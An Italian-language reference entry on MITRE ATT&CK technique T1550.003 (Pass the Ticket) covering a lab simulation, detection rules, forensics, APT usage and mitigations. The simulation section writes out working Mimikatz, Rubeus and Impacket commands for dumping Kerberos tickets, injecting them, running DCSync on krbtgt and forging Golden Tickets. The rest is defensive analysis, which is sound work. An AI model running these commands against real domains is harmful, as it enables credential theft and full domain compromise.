Pass the Ticket: Use Alternate Authentication Material – Pass the Ticket (T1550.003)

La simulazione di Pass the Ticket in laboratorio richiede un ambiente Active Directory controllato con almeno un domain controller e una workstation unita al dominio. Il flusso operativo si articola in tre fasi: estrazione dei ticket, iniezione in memoria e accesso laterale.

Fase 1 — Estrazione dei ticket dalla memoria. Con Mimikatz (open source), il modulo sekurlsa consente di esportare tutti i ticket Kerberos presenti nella sessione corrente:

mimikatz # privilege::debug mimikatz # sekurlsa::tickets /export

Questo comando produce file .kirbi nella directory corrente, uno per ogni ticket in cache. In alternativa, Rubeus (open source) offre un approccio più chirurgico per estrarre i TGT dalla memoria LSASS:

Rubeus.exe dump /luid:0x3e7 /nowrap

Il parametro /luid consente di mirare a una specifica sessione di logon, mentre /nowrap produce output base64 su una singola riga, comodo per il copia-incolla in ambienti senza file transfer.

Fase 2 — Iniezione del ticket. Una volta ottenuto il file .kirbi o la stringa base64, l'attaccante lo inietta nella propria sessione. Con Mimikatz:

mimikatz # kerberos::ptt ticket_esportato.kirbi

Con Rubeus, passando direttamente il base64:

Rubeus.exe ptt /ticket:<base64_del_ticket>

Su sistemi Linux, Impacket (open source) offre strumenti equivalenti. Per ottenere un TGT a partire da un hash NTLM (overpass-the-hash) si usa getTGT.py:

getTGT.py -hashes :hash_ntlm dominio/utente

Il ticket viene salvato in formato .ccache. Per utilizzarlo, basta impostare la variabile d'ambiente:

export KRB5CCNAME=utente.ccache

A quel punto, qualsiasi tool Impacket può operare con autenticazione Kerberos aggiungendo il flag -k -no-pass, ad esempio:

psexec.py -k -no-pass dominio/utente@target_hostname

Fase 3 — Golden e Silver Ticket. Per simulare un Golden Ticket, serve prima l'hash NTLM dell'account KRBTGT, ottenibile tramite DCSync:

mimikatz # lsadump::dcsync /domain:lab.local /user:krbtgt

Poi si forgia il TGT:

mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-... /krbtgt:<hash_ntlm> /ptt

Il flag /ptt inietta immediatamente il ticket in sessione. Per un Silver Ticket la logica è analoga, ma si usa l'hash dell'account di servizio e si specifica il servizio target con /service:cifs o /service:http.

Dopo l'iniezione, verifica l'accesso con klist per visualizzare i ticket in cache, poi tenta l'accesso al file system remoto con dir \\server\share per confermare il lateral movement.

La detection di Pass the Ticket si fonda sulla correlazione tra eventi Kerberos e pattern di logon. Il principio cardine è che un ticket legittimo segue una catena ordinata — prima il TGT (EventCode 4768), poi il Service Ticket (EventCode 4769), infine il logon (EventCode 4624) — e qualsiasi interruzione in questa sequenza è un segnale d'allarme.

Log source critici. Abilita l'audit avanzato sulle policy Kerberos del domain controller: "Audit Kerberos Authentication Service" e "Audit Kerberos Service Ticket Operations" dalla sezione Account Logon della Group Policy. Su ogni endpoint, Sysmon (gratuito, Microsoft Sysinternals) con una configurazione che monitori gli accessi al processo LSASS (Event ID 10) è indispensabile per intercettare l'iniezione dei ticket in memoria.

La regola di detection principale si basa sulla correlazione temporale. Quando osservi un EventCode 4769 (richiesta TGS) da un host senza un corrispondente EventCode 4768 (richiesta TGT) entro una finestra ragionevole — tipicamente 10 minuti — stai probabilmente osservando un ticket iniettato dall'esterno. Il parametro di tuning TimeWindow va calibrato sull'ambiente: reti con molti servizi distribuiti potrebbero richiedere finestre più ampie.

Per i Golden Ticket, concentrati su anomalie nei TGT stessi. Un TGT con durata superiore alla policy di dominio (default 10 ore) o con encryption type incoerente rispetto alla configurazione del dominio (ad esempio RC4 in un ambiente che forza AES) è altamente sospetto. Il campo TicketEncryptionType nell'evento 4768 è il dato chiave.

L'accesso a LSASS merita un alert dedicato. Sysmon Event ID 10 con target image lsass.exe e GrantedAccess che include flag come 0x1010 o 0x1038 indica un possibile dump o iniezione. Il parametro LSASSAccessAnomalyThreshold nel tuning della regola consente di filtrare i processi legittimi (antivirus, agenti di management) creando una whitelist per SourceImage.

La gestione dei falsi positivi è la sfida principale. Servizi come i cluster SQL Server, le applicazioni web con delegation Kerberos e i sistemi di backup generano pattern simili a PtT. Implementa il tuning HostContextScope per escludere host noti che producono catene di autenticazione atipiche ma legittime. Piattaforme SIEM come Splunk (a pagamento) o Elastic Security (freemium) consentono di costruire queste correlazioni con lookup table che mappano le coppie host-servizio autorizzate.

Un indicatore complementare è il logon di tipo 3 (network) con protocollo Kerberos da workstation che non hanno mai generato un logon interattivo per quell'utente. Incrocia EventCode 4624 con LogonType 3 e AuthenticationPackage Kerberos, filtrando per account che non compaiono nell'evento 4768 dello stesso giorno.

L'analisi forense di un Pass the Ticket richiede la ricostruzione della catena di autenticazione Kerberos e l'identificazione del momento esatto in cui il ticket illegittimo è stato introdotto nel sistema.

Artefatti sul domain controller. I log Security sono la fonte primaria. Estrai tutti gli eventi 4768, 4769 e 4624 per l'account sospetto e allineali su una timeline. Il pattern forense classico è un 4769 (TGS) orfano — privo del corrispondente 4768 (TGT) — che indica iniezione di un ticket pre-esistente. Per i Golden Ticket, cerca TGT con valori anomali nel campo TicketOptions o con lifetime superiore alla policy del dominio configurata nel GPO.

Artefatti sull'endpoint compromesso. La cache dei ticket Kerberos risiede in memoria nel processo LSASS. Su un'immagine di memoria acquisita con tool come WinPmem (open source) o Magnet RAM Capture (gratuito), puoi estrarre i ticket con Volatility 3 (open source) usando il plugin windows.cachedump o analizzando direttamente le strutture del processo LSASS. Cerca file .kirbi sul filesystem — Mimikatz li esporta nella directory di lavoro e gli operatori meno esperti spesso dimenticano di cancellarli.

Il registro eventi Sysmon, se era attivo, fornisce prove cruciali. L'Event ID 10 con target lsass.exe rivela quale processo ha acceduto alla memoria di LSASS, con tanto di PID, timestamp e livello di accesso. Correla questo evento con eventuali Event ID 1 (process creation) per identificare il binario responsabile dell'iniezione: spesso troverai mimikatz.exe rinominato, script PowerShell che caricano Invoke-Mimikatz, oppure Rubeus.exe.

Timeline reconstruction. Ordina gli eventi in sequenza: prima l'esecuzione del tool di dump (Sysmon Event ID 1), poi l'accesso a LSASS (Sysmon Event ID 10), quindi la comparsa di ticket anomali nei log del domain controller (4768/4769), infine gli accessi laterali (4624 di tipo 3 su sistemi remoti). Questa catena temporale, se coerente, costituisce evidenza solida.

Per quanto riguarda le campagne documentate, BRONZE BUTLER ha forgiato sia TGT che TGS per mantenere accesso amministrativo persistente — in un'analisi forense legata a questo gruppo, la chiave è cercare ticket con encryption type RC4-HMAC in ambienti configurati per AES, un'anomalia che il gruppo non mascherava. Mimikatz lascia artefatti caratteristici: il comando LSADUMP::DCSync genera eventi 4662 (Directory Service Access) con proprietà GUID specifiche relative alla replication, tracciabili nei log del domain controller.

Infine, verifica la data di ultimo reset della password dell'account KRBTGT con PowerShell: Get-ADUser krbtgt -Properties PasswordLastSet. Se la data è molto antecedente all'incidente, un Golden Ticket potrebbe essere attivo da tempo.

L'adozione di Pass the Ticket da parte di gruppi APT segue un pattern riconoscibile: si tratta di attori con obiettivi di lungo periodo che necessitano di persistenza e movimento laterale discreto all'interno di reti enterprise con infrastruttura Active Directory.

APT29 rappresenta il profilo più sofisticato tra i gruppi che impiegano questa tecnica. L'attore, associato a operazioni di spionaggio, ha utilizzato attacchi basati su ticket Kerberos come vettore di lateral movement. La scelta di PtT da parte di APT29 è coerente con il suo modus operandi: privilegiare tecniche che si mimetizzano nel traffico di rete legittimo, evitando l'uso di malware custom quando il protocollo nativo offre le stesse capacità. Il software SeaDuke, attribuito al gruppo, include un modulo specifico per Pass the Ticket, confermando l'integrazione della tecnica direttamente nel toolkit operativo dell'attore.

APT32 ha utilizzato Pass the Ticket per ottenere accesso remoto a sistemi target. Il gruppo opera prevalentemente nell'area del Sud-Est Asiatico e la sua adozione di PtT segnala una maturità tecnica nell'abuso di protocolli di autenticazione Windows, coerente con operazioni rivolte ad ambienti corporate strutturati.

BRONZE BUTLER presenta il caso più interessante dal punto di vista della threat intelligence. Il gruppo non si è limitato a utilizzare ticket rubati, ma ha forgiato sia TGT (Golden Ticket) che TGS (Silver Ticket) per mantenere accesso amministrativo persistente. Questa capacità presuppone il possesso dell'hash KRBTGT, il che implica una compromissione profonda del dominio Active Directory — probabilmente ottenuta tramite DCSync o accesso diretto al database NTDS.dit. Per un TI analyst, la presenza di Golden Ticket in un'intrusione è un indicatore di compromissione totale del dominio.

Dal punto di vista dei tool, Mimikatz è il denominatore comune. I suoi moduli LSADUMP::DCSync e KERBEROS::PTT implementano l'intera catena operativa, dall'estrazione dell'hash KRBTGT alla creazione e iniezione dei ticket. Pupy, un RAT open source scritto in Python, offre funzionalità analoghe di pass-the-ticket, suggerendo che anche attori con risorse limitate possono impiegare la tecnica attraverso framework pubblicamente disponibili.

Il trend evolutivo mostra uno spostamento verso l'overpass-the-hash, che combina hash NTLM e ticket Kerberos per produrre traffico di rete apparentemente legittimo. Le organizzazioni che migrano verso AES per Kerberos riducono parzialmente il rischio, ma finché l'account KRBTGT resta un single point of failure, il Golden Ticket rimane una minaccia concreta. La raccomandazione operativa primaria, derivata dalle mitigazioni, è il reset periodico — ogni 180 giorni — della password KRBTGT, eseguito due volte consecutive per invalidare tutti i ticket derivati.

Framework MITRE ATT&CK v16 — Tecnica T1550.003 (Pass the Ticket), tattiche TA0005, TA0008. Gruppi: G0016, G0050, G0060. Software: S0053, S0002, S0192. Mitigazioni: M1026, M1027, M1018, M1015. Detection: DET0352, AN1000. Integrato con conoscenza professionale per tool e procedure operative.